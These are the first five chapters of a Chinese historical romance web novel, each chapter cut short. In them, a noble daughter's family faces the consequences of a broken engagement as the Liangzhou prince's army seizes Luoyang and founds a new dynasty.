《退婚后夫家称帝了》
1. 占卜
《退婚后夫家称帝了》全本免费阅读
寒冬未散,大地又迎来了一场风雪,洛阳城又是一片银装素裹。
这场大雪落于昨日暮间,彼时令仪正同父母一道用饭,见门外淅淅沥沥落下鹅毛大的雪片,都停下了箸,面露诧异。
如今是入了春的正月,眼看着就要到正月十五,却不想老天爷又降下了瑞雪。
没错,这对于年复一年辛苦在田中劳作的黔首来说是一场不亚于甘霖的存在。
阿父笑了,那张近来肃穆沉静的脸似撒了灿阳,满堂生辉。
大雪连着下了一夜,这一夜,整个洛阳城里,上到天子公卿,下到寒门庶族,都暂时扫去了愁容,酣睡至天明。
崔宅的梅林中,梅树根被深深掩埋在又厚又绵的皑皑白雪下,梅枝与娇嫩的蕊瓣也托着一簇一簇的雪。
虬结蜿蜒的灰色枝干,艳红俏丽的梅瓣,还有在日头下白得晃眼的夜雪。
这是人间难得的盛景,让提着篮子行至此处的令仪移不开眼。
虽有些冷,但能瞧见这一番美景,倒也不亏了。
连下了一夜的大雪无疑是可观的,差点没过令仪的脚踝,专门用来蹚雪的长靴一声接一声地踩在厚软的积雪上,发出嘎吱嘎吱的奇异声响。
“女郎且行慢些,小心滑了。”
婢女鹿鸣在身侧紧跟着,一双眼睛时不时就放在身畔的令仪身上,步子踩得飞快。
同令仪的身姿高挑不同,鹿鸣生得娇小玲珑,尽管今年已经十八了,比令仪还大了一岁,但比令仪还矮了一截,像是刚及笄的小女郎。
令仪听着身侧火急火燎的步伐,脚步刻意放慢,诧异道:“我行得快吗?”
令仪心中不解,她觉得自己行得也算是慢悠悠了,竟又被鹿鸣吐苦水了。
罢了,也许是自己方才心里想着阿父近来的病情,一时出神忘记等鹿鸣了。
腿上的优势,这确实是无法辩解的。
速度放到最缓,鹿鸣可算是松快了许多,趁机甩了甩脚上沾的碎雪,嘟囔道:“女郎一有心事就走得飞快,可怜奴婢这双短腿跟不上女郎。”
令仪被鹿鸣这副惨兮兮的模样逗笑了,不由嗔道:“好了好了,我这就行慢些。”
主仆二人各提着一只小竹篮,一边说笑着,一边行到了梅林深处。
令仪今日来此,是为了采集雪中寒梅,来制一款用于安神的梅香。
自打去岁秋日凉州王起兵,想必洛阳城九成的公卿士大夫都睡不好,阿父作为朝中肱骨,自然也会在夜间辗转反侧。
阿母说,有时候夜半,阿父都会起来对月出神,为国,也为这个家。
崔家本也不必如此忧虑,但多了同凉州的那一道婚约,当初又是那般选择,便又比旁的公卿大臣头上多悬了一把剑。
想到此,令仪便觉造化弄人。
谁能想到世事这般无常,原以为自是她一人的委屈,如今倒成了全家的厄难。
倒是解脱了她一人,可这样的解脱,令仪还不如不要。
汇入鼻翼的空气很冷,夹杂着若有若无的梅花淡香,将令仪脑中纷杂的愁绪给驱散。
她抬眼,看着头顶上方满目的娇艳花朵,一时又笑了。
前路未卜,但又不代表一定就是最坏的结果,更何况她就算成日成日的忧愁,也不能解决分毫,还会让自己不痛快,不如全抛了干净。
思绪清明,令仪开始采摘个头硕大的梅花瓣,将上头的零星积雪甩开,放置在自己的小竹篮里。
郭暧踏步经过这梅林的时候,虽只是余光,但还是一眼便锁住了林中那道隐隐绰绰的丽影。
尽管只是一个朦胧的身影,郭暧也能一眼认出那人是谁。
他疾走的步伐当即慢了下来,并且毫不迟疑地转弯进了梅林。
行走间,男子身上的大氅被风掠起,偶尔打在雪中枯草上,配着脚下沙沙的踩雪声,很快便惊动了正在摘梅花的令仪。
她偏头,一双秋水眸子映出来人高瘦挺拔的身影,莞尔一笑。
“义兄怎么来了?”
义兄郭暧,是阿父在她三岁那年回清河祭祖,从半路带回家的养子,说是父母半是因着他没了,就剩下这个义兄一个五六岁的稚子,阿父不忍,将其带回来认作义子养大了。
虽是养子,但与崔家感情深厚,丝毫不逊色于亲子。
两年前,义兄被阿父举荐到廷尉,通过了考核,受到了廷尉卿的赏识,在廷尉署任职,两年过去,凭借出色的政绩,义兄已然成了个千石的官,廷尉正。
这让阿父也是满怀欣慰,觉得自己当初的举荐是正确的,没有埋没人才。
“今日无事,刘公便先让我回来了。”
愈走愈近,郭暧逐渐看清了梅树间女郎的面容,只觉漫天花雪都不过如此。
因着天冷,又恰逢遇上大雪的缘故,令仪穿着厚厚的裙袍不说,还披了斗篷,粉白的锦缎,缘边镶着纯白的狐狸毛,衬得一张美人面玉软花柔,妍丽明媚。
只一眼,漫天的寒意都散了大半。
“刚落了雪,这么冷的天,阿鸾怎的出来了,也不带个手炉,若是病了岂不是让……义父义母担忧?”
郭暧生了一张冷峻淡漠的脸,但对着令仪时语气完全不肖相貌,总能听出几分柔和,如冰雪消融。
令仪不觉有异,做了十多年的兄妹,义兄对家中每个人都很好,自然待她也是亲厚的。
令仪也是将其当成亲兄长一般对待的。
“无碍,就是出来一小会,何况我穿得很厚实,也不觉得很冷,马上就要回去了。”
女郎生了一双温柔清澈的灵动眼眸,只是浅浅笑着,便教人觉得春风拂面。
郭暧强迫自己将凝在她面上的目光移开,窸窸窣窣在怀里掏了一阵,拿出来两包油纸包裹的东西。
令仪自然也将目光投向那处,眼眸渐渐发亮。
“廷尉署附近那个卖蜜薯的老丈又来了,我知阿鸾爱吃他家的,顺手给买了些回来,还有栗子也很不错,快别摘了,趁热吃。”
给了婢女鹿鸣一个眼神,鹿鸣立即就意会了,想过来将主子手里的竹篮拿走。
令仪避了避,笑言道:“无需如此,正好也摘得差不多了,便要回去了。”
将自己篮子里的梅花全都倾倒在鹿鸣那,令仪笑盈盈地接过东西,放在了自己的篮子里。
“多谢义兄了,办公还记挂着我这个妹妹的一点口腹之欲。”
郭暧低笑不语,眼中似有千言万语。
“事办完了,阿鸾也就不在这挨冻了,义兄也快些回去歇歇吧。”
烤蜜薯和栗子可等不得,她要快些回去才是。
跟义兄到了个别,令仪带着鹿鸣赶回去了。
然令仪不知道的是,郭暧伫立在原地看了她的背影许久。
……
安神香制起来不算麻烦,将梅花瓣烘干碾碎成粉末,再添上能使人
2. 祈福
《退婚后夫家称帝了》全本免费阅读
犊车,牛车也。
不同于立国之初,国力尚且薄弱,经济窘迫,对骏马的使用也是捉襟见肘。
因而那时候,王公大臣出行,多用犊车。
但随着国力渐强,到如今自然不用为马匹的事情烦忧,然今时的风气也变了,犊车反倒成了受欢迎的存在。
起初因为犊车行得慢且稳健,受到女郎喜爱,是女郎们出行的车架,但其后随着玄学在世家大族中兴起,乘犊车这等崇尚自然、不拘礼节的行径成了当下的社会风尚。
大晋本佛道并立,但随着今上崇尚道家,整个家国风尚也发生了些许偏移,许多世家大族也渐渐摒弃了马车,乘起了犊车,觉得从容不迫、步履稳健的牛是返璞归真、大道至简的象征。
当然,也不是所有人都爱乘犊车,性子急些,不崇尚玄学的人,便对犊车这等悠哉稳健的车子没什么兴趣。
比如义兄那等,不仅不爱好犊车,就连马车也甚少用,日日只策马上职。
这五日间,艳阳高照,天气也渐渐暖了起来,积雪化了个干净。
地面又变作干燥整洁,适于人乘车出行。
崔家的犊车缓行着,车上崔家的家徽立即被过往的行人认了出来,不由自主地投以目光。
更有些年轻莽撞儿郎,猜到里头坐的是谁,一言不合便追着崔家的犊车跑,想要一窥崔氏贵女的芳颜。
犊车行得慢,加上地方就那么点大,尽管那些儿郎并没有大喊大叫,但从周遭的骚动来看,令仪便知外头又不安生了。
洛阳城有些儿郎便是这样,喜好追在各家女郎身后,今日是她,明日若是王家女郎出门了照样如此,后日谢家女郎出来如此。
好似这般便能抱得佳人了一般。
对上这种情况,令仪压根不敢探头,生怕让外头那些儿郎愈发骚动,她也不大喜欢这等被众人注目打量的场合。
好不容易出了城,终于让大半儿郎止步,虽还是有些个锲而不舍的,也不值得关注了。
荀夫人在长女的搀扶下下了车,余光瞥了一眼还跟在后头的几个也不知是谁家的儿郎,笑着打趣道:“阿鸾颇有为母当年风采,想当年阿母也是,年少时在颍川,只要一出门,便引得无数儿郎追逐,那场面,当真是忘不了,可如今人老了,也只能借着阿鸾才能瞧一瞧旧日的光景喽~”
面对阿母的促狭,令仪只摇头低笑道:“阿母就莫要埋汰我了,再青春美貌也有逝去的一天,女儿倒是羡慕阿母能寻得阿父这样的郎婿,二十载如一日,恐不只是洛阳城,整个大晋都羡慕阿母呢。”
令仪这番话说得十分真心,阿父与阿母成婚二十多年,期间从未纳妾,更无异腹子。
阿父出身清河崔氏嫡脉,少有贤明,品性高洁,那等狎妓风流的事更是半点不沾。
幼时两家交好,与颍川荀氏的阿母定下婚约,本是门当户对,然随着形势变化,荀氏日渐没落,不再是颍川第一世家,被陈氏取而代之。
按理说,这样的门第同如日中天的崔氏不大相配,尤其阿父还是家中宗子,族中长辈也曾动过要与荀氏退婚的念头,但都被阿父一一否决了。
言君子以信立世,怎可因违背约定,出尔反尔?
这桩婚事便成功续了下来,按着原定的婚期,阿父娶了阿母。
婚后更是琴瑟和鸣,成了当时人人羡煞的一对夫妻,到了现在,更是无出其右。
令仪这话说得十分真心,也真心期盼自己能得一位阿父那般好的郎婿。
这世道,如果没有什么特殊原因,女郎总要寻个郎婿嫁人的。
不仅是风尚如此,也是为了老来能不孤寂,毕竟父母兄弟姊妹也不能陪伴自己一辈子。
荀夫人听了令仪这话,想起自家郎婿,一双同令仪相似的眼眸便弯了起来,抚了抚长女乌云一般的鬓发,温柔道:“我儿如此姝丽,定能配得一位如你阿父那般的好郎婿。”
面对阿母美好的期盼与祝愿,令仪只是笑笑,在心中叹了一声难。
世上儿郎,多的是多情寡义,如阿父一般才貌双全、忠贞不二的郎婿,简直是凤毛麟角、和璧隋珠。
积云山以风景出名,青山绿水,茂林修竹,还有一片自建寺起便扎根在此的桃花林,洛阳城人人都说这片桃林沾染了佛气,每逢南华寺桃花盛开的时候,便会有许许多多的香客游人来折桃花枝回去插瓶。
只是如今刚入春,天还没有彻底回暖,南华寺的桃花自然也没有开,只有满树如小疙瘩一样的花苞,也不知那一日会彻底绽放,正如还没有结果的战局。
南华寺可谓是选了个立寺的好地方,就算不拜佛,也可以过来踏青赏景。
过了天王殿,便到了此行的目的地大雄宝殿。
佛殿肃穆庄严,入鼻的沉香让人不自觉将心头的烦躁抛去,陷入一种安详和静谧中。
一愿国泰民安、风调雨顺。
二愿崔家能平安度过此劫,家人无恙。
许完这两个简单的愿望,令仪便不急不徐地佛祖叩拜。
在宏伟宝殿和巨大的金佛面前,女郎叩拜的身形纤弱又渺小,但透着十足的虔诚。
尽管令仪时常将“子不语怪力乱神”这句话挂在嘴边,但到了这种难以判断的危难时刻,令仪也忍不住去寄希望于神佛。
只当是给自己一份定心丸。
从蒲团上起身,令仪在一旁安静地等着阿母拜完。
不同于令仪的干脆利落,荀夫人本就信这些神神鬼鬼的,许愿更是贪心的紧,每次都要多许几个愿望,因而显得时间很长。
良久,荀夫人心满意足地睁开了眼,笑眯眯地对令仪道:“阿母还为你求了个姻缘,佛祖定会保佑我们阿鸾的。”
去岁战事刚起,令仪果断从半路跑回来,崔家与凉州的婚约便在心照不宣下宣告破裂,令仪与那凉州燕氏五郎的婚约也便不存在了。
令仪又变成了没有婚配的女郎,这让洛阳城许多有未婚儿郎的世家大族欢欣雀跃。
但前提是朝廷这一仗可以取胜,要不然她崔氏便很难保持荣光。
但眼下,令仪还有一事烦恼,这事让令仪对自己的婚事没什么期盼。
“还是算了吧,阿母可别忘了,还有太子。”
听这话,荀夫人面上的笑容淡了些,不知说什么才好。
太子燕绥那点子心思,几乎崔家人都知道。
去岁,战事刚起,令仪刚回来没几日,就收到了燕绥送来的玉佩。
未婚男女之间赠玉佩,本就不合规矩,更何况燕绥赠的还是刻着龙纹的贴身之物,这很难不让人想歪。
令仪知道此事兹事体大,当即便匆匆给了阿父,让身为太傅的阿父趁着教导燕绥课业的时候拿去归还了。
不知阿父如何同燕绥说的,玉佩反正是被退回去了,也再没有那等物件递来。
但想起
3. 破城
《退婚后夫家称帝了》全本免费阅读
听到皇后的意思,荀夫人犯起了愁容。
起先,无论太子再怎么中意她家阿鸾,但皇后看样子最是中意王家女郎,欲点王家女郎为储妃。
因而荀夫人不必为这事挂怀,如今皇后殿下表态了,这事便变了性质。
然饶是如此,荀夫人还有心思逗趣。
“怪就怪我家阿鸾太好了,一家有女百家求,不仅出门招蜂引蝶的,还引得太子日日盯着,哎~”
也算是苦中作乐,荀夫人的心态一向很好。
尽管阿母说得尽是些夸赞她的话,但此刻的令仪听着却半点开心不起来。
“都什么时候了阿母还说风凉话,我这遭可如何是好!”
荀夫人笑够了,神色倏然正经问道:“阿鸾当真是一点也不想嫁太子?”
虽然说太子也不符合荀夫人对未来长女郎婿的标准,但太子那一身的荣华倒是可观,当今圣上只这一子,储君之位再稳妥不过,长女嫁去,便是板上钉钉的未来皇后。
并不是荀夫人多么贪图这些,她只是觉得她的阿鸾配得上最好的荣光。
“当真是不想,阿母知道的,太子性情仁弱,事事无主见,只知听他阿母的,做事还不大有分寸,本就不是个好郎婿,更何况……”
“这个储妃,以后有的是殚精竭虑的地方。”
荀夫人无言,性子单纯朴实的她除了安慰令仪,说回去让自己郎婿想想对策,也说不出什么来了。
今上初登基那几年,虽没有那等千古明君之象,但也算是勤政爱民,对朝政兢兢业业。
可这境况还没持续四年,今上便迷上了神鬼之道,成了个不问苍生问鬼神的存在,将身为皇帝的职责抛出了脑后,整日只知求长生,同那些方士厮混在一处。
后面就算沾了朝政,也大多是昏招百出,若不是有贤臣在后面给他擦了屁股,加上皇后还算能够稳住前朝后果大局,大晋怕是早就陷入内乱了。
但尽管如此,局势也不算好。
这不,前两年听信身边奸宦的谗言进行暴力削藩,一年连着削了四王,更是将手伸到了一直固守边境的凉州王身上,逼得各路藩王纷纷造反。
别的弱些的藩王好歹是被平定了,然这个凉州王却不是个好惹的,从西北一路打到了中原腹地,眼下与洛阳城只隔了两个弘农和长安两郡,正与朝廷的军相持着。
阿父身为太子太傅,最是清楚当今太子脾性,曾不止一次与令仪说,太子虽不似今上荒唐怠政,但优柔寡断,过分宽仁怯弱,总被皇后掌控在手心,事事无绝断,绝非帝王心性。
更适合当一个家族里养尊处优,事事安排到位的小公子。
这样的太子,日后若成了帝王,怕是掌控不了朝廷,也驾驭不了大臣。
观皇后先前挑选储妃的标准,便是想给这个唯一的太子挑上一位身份高贵,且能扛得住事的妻子,帮助这个仁弱的君王稳住朝政。
令仪不仅不喜欢燕绥,更不喜欢当一个殚精竭虑的皇后。
主持后宫内务本就很累了,还要顾着前朝,令仪这等骨头懒散的想想都觉得疲累。
然眼下皇后都动了心思,情况便有些严峻了。
令仪如今便处在了一个微妙的点上,此战朝廷胜了,怕是要被皇后点为储妃;若败了,凉州王那边也不好收场。
前有狼后有虎,令仪第一次觉得如此焦灼。
回去的路上,仍旧有些儿郎打马跟在崔家的犊车后面,姿态甚是锲而不舍。
恰巧半路碰上了义兄,义兄如往常一般,沉着脸将后面吊着尾巴的儿郎们都驱赶走了。
义兄还给令仪带了她最爱吃的一家果脯,看到桃脯,令仪盘旋许久的愁绪忽地散去了大半,弯着眼眸倒了一声谢。
荀夫人也乐呵呵的,一双眼睛不时在长女和义子身上打转,若有所思。
……
关于五丈原的战事,令仪倒没有寄托什么希望在佛祖身上,但阿母与她不同,拜了那尊金佛后,她心中便十分笃定。
每日乐呵呵的,瞧着没心没肺的。
然这样心宽体胖的阿母,却在得知凉州军在五丈原大胜朝廷,直取洛阳而来时,生生惊得病了。
那是二月出头的一个看着再明媚不过的春日,惠风和畅,柳丝飘摇。
阿母于那日甚至想要出门打一对耳珰,说是以前的她都戴腻了,还拉着令仪一道,要她做个参谋。
谁知,犊车还没套好,五丈原那边的传令官策马狂奔入城,声声泣血。
“陛下,五丈原一役,我军大败!”
好似为了应衬这道晴天霹雳一样的军报,老天爷也不愿再露出好脸色,明媚的春光不在,唯余春雷阵阵。
天幕间阴云密布,偶尔夹杂着沉闷的雷声,但始终没有落雨。
洛阳城内人心惶惶,不知道接下来等待他们的会是什么。
不仅是黔首百姓,就连高居庙堂的公卿大臣也怕凉州铁骑不认他们这些世家贵族,破城时将他们囫囵斩杀。
今上更是龙颜大变,神鬼道也不修了,在得知五丈原大败的那一刻,连夜让禁军护送他逃出了洛阳城,一路南下奔逃。
弃了江山社稷,也弃了妻与子。
就连阿父也没能劝住,带着他那条对大晋没什么价值的小命奔逃了。
何其悲哀,又何其荒唐。
然仔细想想也能够理解今上的胆怯,黎民百姓和公卿大臣的生死尚不能十成十的论断,但他们这位圣上,却是一定要死的。
凉州王攻破都城,改朝换代,岂会留下一个天大的隐患?
然令仪,或者说崔家人,眼下是没有心力去担忧他们南逃的天子了,因为他们崔氏的光景也不大好。
在洛阳城家家户户紧闭门扉的漫长等待中,于黄昏时刻,凉州骑大摇大摆地入了城。
一时间,铁骑的马蹄声,威势赫赫的欢呼声、喧闹声,还有甲胄的摩擦声,都混在在一处,拧成了一把悬在了洛阳城头上的利剑,眼看着就要劈下来。
夜色浓黑,黑压压的看不清一切,夜色中仿佛也藏着什么凶戾的野兽,眨眼间便要撕破夜幕,咆哮着扑到洛阳城中。
寂静与黑暗未曾维持多久,熊熊燃烧的火把一个接一个地随着大军的涌入闯入了洛阳城,驱散了寂静的同时,也增添了一股不可忽视的肃杀之气。
“大王有令,入城不得劫掠百姓,不得伤人性命,违者定斩不赦!”
三军之中嗓门最为洪亮的将士负责加急传递主将的命令,同样一句话重复了几十遍,务必要让此刻刚杀进都城,满头热血的凉州将士听见。
“嘁~”
听到大王这般急促严厉的军令,冲进洛阳城的凶悍猛将们都忍不住嘁了一声。
辛苦搏杀了这么久,将士们身体中的鲜血本就是沸腾的,加上他们又跟随大王大胜朝廷,攻进了国都洛阳,这个天子居所,公卿仕宦满地跑的地方,理智早已在崩塌的边缘。
他们渴望杀戮,渴望劫掠,渴望获得这座繁荣都城的财
4. 虚惊
《退婚后夫家称帝了》全本免费阅读
崔宅中,亦人心惶惶,尤其是家中的奴婢仆从,大有要死到临头的架势。
令仪知晓外头此刻是乱糟糟一团,更甚者可能即将迎来兵祸,但阿母的病情这几日都未愈,一直卧病在床,令仪满心都是照看阿母,也管不了外面祸事将近了。
一家人几乎都聚在主屋中,不仅是为了关心阿母的病情,也因着今日的特殊。
此等危急时刻,一家人应当在一起才是。
但好在崔家一大家子情绪都比较内敛稳定,除了年纪尚小的一对弟妹惶惶不安着,其余人都是面色如常。
将一碗汤药喂下去,令仪替阿母掖着被子,柔声劝道:“阿母且放宽心,听闻凉州王在封地素有贤明,待凉州百姓宽厚仁德,为人也是磊落端正,想必、想必不会对我们如何的。”
令仪极力宽慰阿母,但话说出来她自己都有些没把握。
关于凉州王那些夸赞的话倒是没错,但谁也不能确定那位手腕铁血的凉州王会不会一直记着去岁的仇怨,趁今夜狠狠报复回来。
毕竟对于一个拥有权力,天子之位尽在掌握之中的准帝王,抹平他们这一大家子并不是什么难事,也不是什么不敢做的事。
再是百年世家,清流之首,也都是旧朝遗臣,哪里能跟掌握着千军万马这等绝对权力的存在对抗。
说句丧气话,若凉州王真想出口恶气,携私报复,崔家还真的只能坐以待毙。
想到最坏的结果,心态稳健如令仪都黯淡了脸色。
她之前在玉坊定制的玉簪还没来得及取,那是她准备给好友郑家六娘的生辰礼,想想都难过。
一屋子气氛有些沉闷。
郭暧看着床前女郎面上一闪而过的忧愁,眸色沉寂,第一次觉得深入骨髓的无力。
大兄崔瑛看着一家子老弱,禁不住忧虑道:“不若让家中部曲护着阿母还有阿鸾等弟妹冲出去,或可寻求一线生机。”
但这话都不用崔砚开口否决,便被一直悄悄注视着床前女郎的郭暧给否决了。
“此法不行,若崔家真面临生死关头,那几千部曲又能敌得过千军万马,若新帝不欲夺人性命,就算是只我们一家人,也能完好无损。”
崔瑛还欲说些什么,但思索一番也觉得有理,又见阿父点头,便吞下了话。
“既明说得在理,到了这个地步,无须大动干戈。”
“况且,凉州王,不至于暴虐嗜杀。”
在多年前,凉州王燕平还未就藩时,崔砚与其也算是打过几次照面,他看人很准。
凉州王虽不够谦和温雅,但也是个光明磊落、心胸开阔的大丈夫,这桩儿女婚事虽是因着立场站队,崔家问心无愧,但终究拂了人家颜面,不高兴冷待总是有的,但因此要泄愤屠戮,崔砚内心觉得不符合燕平的作风。
但眼下洛阳城中一片混乱,他倒也不能十分笃定,也多少抱着一份戒备。
“难道我们就要这样坐以待毙?”
崔瑛肖父,但因着年轻气盛,比之多了气性,在屋里转了几圈过后,颓废地跪坐于茵席上,神色萎靡着。
长嫂谢妙言看着郎婿心绪不舒坦,也跟着蹙眉,凑上去悄声安慰着。
令仪在一旁看着大兄夫妻二人悄悄咬耳朵的模样,本忧心忡忡的的心境忽地一散,被逗笑了。
兴许凉州王心胸广阔,压根不会对她们崔氏刀兵相向,只是她们多虑了。
“那阿兄还想如何,出去与人家拼杀,兴许人家此刻都没空理我们呢。”
说话的时候,令仪扬着浅浅的笑意,就好像此刻还如往常一样,没有破城的凉州骑。
崔瑛当真是佩服他这位阿妹,指着令仪你了半天,终究是一笑了之,什么也没说出来。
正当一家人想遣人爬到高墙上瞧瞧外头的情况时,突然听到外头凶蛮的拍门声,隐约间还有兵蛮子的粗嗓门……
紧接着有仆从慌里慌张地来到主屋跟前,就算是在夜里,也能窥见其中的慌张。
“家主,凉州骑在外叫门!”
一瞬间,崔家人的脸色都没了淡然。
作为一家之主,纵使情况再危急,崔砚也不能先行乱了阵脚让家人跟着一起担惊受怕,他要做的,便是继续维持着应有的沉稳,让子女和妻子心安。
崔砚心中有了抉择,目光落在长女身上,温声叮嘱道:“阿鸾且和你长嫂与弟妹再次照看你们阿母,无论外面有什么动静都不能出来,记住了。”
“若玉、既明,随我出去瞧瞧。”
听到阿父没有带上他这个男丁出去扛事,还不到十岁的崔家幼子崔璟不愿意了,拽着自家阿父的宽袖也要跟着一道去。
“阿父,我也是个儿郎,为何不带上我?”
崔砚笑了,这一笑也牵动了家中所有人,头上的阴霾被驱散了些。
“正因为你是儿郎,所以阿父将阿璟留下来保护你的阿母、阿嫂和姊妹,你要好好护着她们。”
崔砚看着天真勇敢的幼子,并没有言明他人小身弱的缘由,甚至找了个十分体面的话,顿时就将幼子哄住了。
只见一个还不到十岁的稚童,一张脸满是激动,信誓旦旦地保证道:“阿父放心,我定护好阿母她们。”
“阿父与阿兄们放心去吧。”
崔砚摸了摸幼子的发顶,转身的一刹那,神色变作肃穆。
还带着些寒意的夜风透过房门吹进来,将崔砚三人的衣袍吹得猎猎作响。
崔宅门外,由烫金字体篆刻在柱子上的阀阅在凉州骑手中的火把照耀下熠熠生辉,一笔一划地向这些攻破国都的兵蛮子诉说崔氏门阀的几百年的功绩与荣耀。
燕锦和燕锋两人也不自觉看了那阀阅许久,直到叫门的兵丁迟迟未叫开门,回来言说,才将两人的神拉回来。
“叫不开,那便撞开。”
没达到此行的目的,燕锦誓不罢休,手一摆,便要遣几个身强力壮的兵丁去强行破门。
然就在这时,崔家的大门忽地被打开了,门内赫然走出了三道身影,一老二少,最前方的便是三人中的长者。
毋庸置疑,这便是崔家如今的家主,崔公崔砚了。
依旧挺拔稳健的身姿,不急不徐的步伐,还有浑身上下萦绕的端方沉着,就好似他面对的不是虎狼之师一般的凉州骑,而是什么上门拜访的稀松客人。
“崔家现任家主崔砚在此,不知二位将军深夜来访,所谓何事?”
不管事情如何,没到最后关头,总要拿出基本的礼数,就好像在战场上,也时常有个先礼后兵的规矩。
一打开门,崔砚便瞧见了领头的两个年轻郎君,虽不识得来人是何种身份,但瞧着身披甲胄,唤声将军总不会错。
也许是崔家人淡定的姿态没让燕锦得到什么乐子,他骑在马上,饶有兴趣地开口道:“临危不惧,处之淡然,这气魄,不愧是出身清河崔氏,崔公好胆色,不知崔公可识得我们?”
燕锦本就是来质问吓唬崔家的,见人压根没认出自己,故意继续搭话。
崔砚与对方说了一个来回的话,又不自觉多打量了几眼,心中渐渐有了些答案。
这两人地位尊崇不假,但浑身上下的气息并不似久经沙场的将领,倒像是玩世不恭的公子哥,处在今夜这样敏感的时刻,能领兵过来与他们崔氏计较的,怕是只有凉州燕氏了。
就是不知眼前这人在家中行几,是否是那个差点同他成为翁婿的少年郎。
崔砚也不藏着话,只再度拱手淡声道:“某与二位将军不曾见过,但某猜,二位应是大王之子。”
一直未曾说话的燕锋听到崔砚的话,也不由挑了挑眉,接话道:“既认得我们,崔公便知此番我们来此为何,崔公当初见风使舵,半道毁弃婚约,如今可后悔了?”
随着这一句犹如质问的话下来,气氛也随着紧绷了,双方安静了下来。
崔砚身后,崔瑛和郭暧都攥紧了拳,生怕那些个凉州骑翻脸杀过来。
“呵呵~”
然在这样的情况下,身形清瘦的崔砚却低笑了一声,让燕锦和燕锋都蹙了蹙眉。
“食君之禄,忠君之事,朝廷犹在,天子尚存,某此心自不能偏移。”
这一句话很轻,没有用什么气力,仿佛只是与人闲谈的絮语,但放在此刻确实掷地有声,让燕氏两子哑然无声。
刚要出言放句狠话,燕锦嘴还没张开,身后便被一道懒散但又威势赫赫的话语打断。
“好一句天子尚存,此心不移,崔家家主当真是个赤胆忠心的,可惜你的天子就要死了呢。”
天际间的闷雷还在隐隐作响,但始终听不到一声炸响,但此刻这忽地出现的桀骜之语,则很好的代替了惊雷声,让在场所有人心头都惊了一跳。
来人骑在一匹体量高大健硕的突厥马上,目测是个年轻的儿郎,身量颀长,满身肃杀。
夜色浓重,崔家人看不清这人具体容貌,只知道那人面貌英气,一双眼睛炯炯有神,亮如星子,盖过了他头上的金狻猊武冠被火焰闪出来的微光。
他一身甲胄覆体,本就健硕挺拔的身姿更是让崔砚这等文人显得单薄。
燕锦与燕锋两人还好,听出来人是自家人,忙笑着回头招呼道:“五弟可算是来了,磨蹭了这么久,都以为你被阿父看住了呢,再晚来一点
5. 相错
《退婚后夫家称帝了》全本免费阅读
洛阳城在安静了几日后,随着新帝即位,新颁布的诏令一个接一个地下来,再度开始焕发活力。
那夜破城的光景仿佛只是洛阳百姓的一个梦,眼见凉州骑拥护着他们的主子光明正大进了皇宫,坐上了那把天子的龙椅。
皇宫中是如何的光景众人都是不知晓的,但能猜到不太平静就是了。
那位一听到战败便抛却所有南逃的圣上也没有被放过,有胆子大,攀墙偷看的人家,恰巧看见了凉州骑连夜出城的情景。
那黑压压的一片,不仅数量上多,装备也是一流的精良,一看便知是去拿人的。
洛阳百姓一时为还身陷皇宫的太子产生了一丝丝怜悯。
太子仁弱无才,不配与帝位,但总归不是什么大奸大恶之人,如今也只是个可怜的儿郎罢了。
至于陈皇后,洛阳百姓倒是没有太多同情。
陈皇后在凤位上操劳是不假,但她也没少为陈氏谋利,一家子蛇虫鼠蚁的,借着陈皇后的势在洛阳城横行无忌了许多年,上到世家权贵,下到庶族百姓,没有不厌恶的。
洛阳百姓想着,要不是朝廷还有良臣辅佐,陈皇后就算累死在凤位上也不能料理得了整个大晋。
原本这样的生活也能算是安稳,不想凉州骑破了城,他们又陷入了惶惶不安中。
在几日漫长又沉寂的等待中,眼见皇宫中颁布一道又一道于民生有利,朝政安稳的诏令。
例如减免赋税,鼓励商业,清除弊病,考量官宦任免等一系列。
尤其是将平日里因着裙带关系得了高官厚禄以及一些无才无德、尸位素餐的官宦尽数裁了下去,换做真正才德兼备的清明贤人,这无疑值得全洛阳城百姓欢呼雀跃。
只是一个开端,人们便隐隐窥得这是一位不同于上一位的明君良主,心中欢喜着,期待着。
才不过四五日的光景,洛阳城的百姓和商贾便再度探出头来,重新将生活步入了正轨。
凉州王也在众望所归下登上了天子宝座,改年号为元宁,大赦天下后,开始分封功臣将领。
尤其是没忘记他的儿子们,各个裂土封王。
只不过新帝家中女眷和两个儿子留守家中,册封礼一应事宜没急着操办。
洛阳城内,最为平静无波澜的大抵就是底层的黔首,只知道日子会随着明主越来越好,日日经营着眼前的一亩三分地,无法切身感受到天子堂前的风波。
这几日,无论是三公九卿,亦或者是守卫皇城内外的军备官职,都被新帝开始逐一清理布置,不至于是大换血但也十分可观。
新帝虽手腕铁血果决,但终究在世家上还是留了几分体面,毕竟洛阳城这些高门望族根基颇深,且也并无是完全无用。
是以,只要是能配得上头上官帽的,元宁帝还是温和地保留了其官职,不仅为了朝政的稳定,也为了笼络住这些百年世家门阀。
崔家便是那在这样的局势中耐心等待着,想看看新帝到底想要如何对待崔氏。
阿父说,无论怎样,崔氏如今应当是没有性命之虞的,然至于其他,便不好说了。
比如先前上承下达的公卿权位。
家族一体,大兄和义兄自然也识趣地没有再去上职什么的,更何况大兄那边连太子都没了,他这个太子舍人便形同虚设。
昔日的陈皇后和太子也变成了庶人,被双双圈禁在洛阳城西的离宫里,只待元宁帝进一步与群臣商榷如何处置了。
阿父是家中最有耐心的,家中人问起,便慢悠悠地说再等几日,剩下时间便气定神闲地在家饮茶手谈,差点连大兄都陪不下去了。
但好在还有个性情相投的好女儿,时不时便让令仪陪着品茗下棋,日子也算是安静。
风波暂时过去,令仪忽地想起了自己交由赵氏玉坊定制的那块羊脂白玉,是准备送给郑家六娘的生辰礼,早过了取玉的日子,她是时候去取了。
念此,令仪忙吩咐仆从套车,准备去赵氏玉坊一趟。
本就是一个取物件的小事,加上如今洛阳城也初步太平了下来,这个门倒也出得。
乘着犊车,令仪出了崔宅,迎着路人复杂的目光,朝着东街的赵氏玉坊赶去。
六娘的生辰是在下月十八,如今二月已过半,虽然还有些时日,但那生辰礼还是早拿回来放在自己身侧妥当。
偶尔探头,令仪注意到了一个变化,那便是洛阳城里平素最爱跟在她后头跑的儿郎们几乎没了。
虽然知道这种天差地别的原因为何,然令仪也不觉得这是什么落差感,反倒觉得新帝家给她省了些,麻烦事。
有些女郎喜欢身后追着一串年轻儿郎,觉得那样能体现自己风华所在,于是心中欢喜。
令仪却是不大喜欢一出门后头跟着一堆人,尤其是一到下车的时候,身后好像有千军万马在看着你,恨不得将她盯出个窟窿来。
